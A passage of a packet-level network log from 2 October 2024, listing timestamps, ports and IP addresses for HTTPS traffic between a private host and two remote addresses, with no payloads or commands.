Oct 2, 2024 06:10:15.382865906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.383186102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.383200884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.383276939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.383276939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.383284092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.383322001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.388396025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.388413906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.388452053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.388457060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.388489008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.388509035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.388902903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.388920069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.388967991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.388972998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.389013052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.389368057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.389389038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.389422894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.389426947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.389467001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.389532089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.389754057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.389770985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.389810085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.389816046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.389837027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.389857054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.390136957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.390155077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.390208006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.390213013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.390249968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.398484945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.398513079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.398546934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.398551941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.398616076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.473367929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.473393917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.473432064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.473448038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.473474979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.473490953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.473716974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.473733902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.473777056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.473783016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.473808050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.473831892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.478710890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.478730917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.478769064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.478775024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.478804111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.478827000 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.478910923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.478924990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.478960037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.478964090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.478991032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.479007959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.479038954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.479053974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.479090929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.479095936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.479120016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.479136944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.479176044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.479190111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.479227066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.479231119 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.479252100 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.479266882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.479304075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.479321003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.479357958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.479362965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.479387999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.479398012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.488652945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.488698959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.488719940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.488723993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.488759041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.488775015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.567600965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.567629099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.567698956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.567708969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.567749977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.567831039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.567847013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.567883968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.567888021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.567914963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.567930937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.570806026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.570822001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.570879936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.570884943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.570925951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.571527004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.571543932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.571594954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.571599960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.571647882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.571969986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.571986914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.572026014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.572031021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.572072029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.572896004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.572913885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.572971106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.572976112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.573015928 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.573230982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.573246956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.573299885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.573304892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.573339939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.582355022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.582371950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.582421064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.582427025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.582454920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.582478046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.655014992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.655033112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.655086040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.655097961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.655131102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.655154943 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.655344963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.655359983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.655402899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.655411005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.655450106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.655450106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.679755926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.679771900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.679853916 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.679861069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.679907084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.680143118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.680160046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.680210114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.680218935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.680383921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.680527925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.680542946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.680598974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.680603027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.680644035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.680881023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.680897951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.680941105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.680944920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.680974007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.680982113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.681257010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.681277990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.681329966 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.681335926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.681375980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.681607008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.681619883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.681660891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.681665897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.681691885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.681718111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.709949017 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:15.745693922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.745717049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.745773077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.745799065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.745842934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.746093988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.746110916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.746156931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.746162891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.746201038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.751044035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.751060009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.751110077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.751115084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.751151085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.751636028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.751652002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.751688004 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.751693010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.751718998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.751732111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.752110004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.752126932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.752160072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.752162933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.752194881 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.752207994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.752509117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.752526045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.752605915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.752610922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.752655029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.752877951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.752893925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.752944946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.752954006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.752986908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.755408049 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:15.760516882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.760534048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.760581970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.760586977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.760613918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.760637999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.836303949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.836323977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.836365938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.836378098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.836406946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.836432934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.836689949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.836704969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.836756945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.836762905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.836803913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.841900110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.841917038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.841955900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.841964006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.841984987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.841995955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.842400074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.842416048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.842464924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.842469931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.842494011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.842518091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.842957973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.842972994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.843003988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.843008041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.843044996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.843058109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.843307018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.843328953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.843363047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.843368053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.843404055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.843410969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.843614101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.843633890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.843663931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.843667030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.843694925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.843713045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.851298094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.851321936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.851356030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.851361990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.851402044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.851402998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.926886082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.926904917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.926954031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.926968098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.926980019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.927006006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.927175045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.927192926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.927217960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.927222967 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.927257061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.927264929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.932629108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.932646036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.932718992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.932723999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.932761908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.932771921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.933211088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.933228016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.933271885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.933311939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.933315992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.933357954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.933571100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.933587074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.933640957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.933645010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.933686018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.933974981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.934003115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.934026957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.934031010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.934067965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.934117079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.934281111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.934298038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.934348106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.934351921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.934401989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.941787004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.941812992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.941869974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.941874981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.941924095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.941930056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.971354008 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:15.971390963 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:15.971400023 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:15.971430063 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:15.971440077 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:15.971441984 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:15.971451998 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:15.971468925 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:15.971479893 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:15.971479893 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:15.971498966 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:15.971517086 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:15.972307920 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:15.972366095 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:15.972371101 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:15.972395897 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:15.972451925 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:16.017839909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.017875910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.017910957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.017931938 CEST	443	49744	167.114.14.168	192.168.2.4
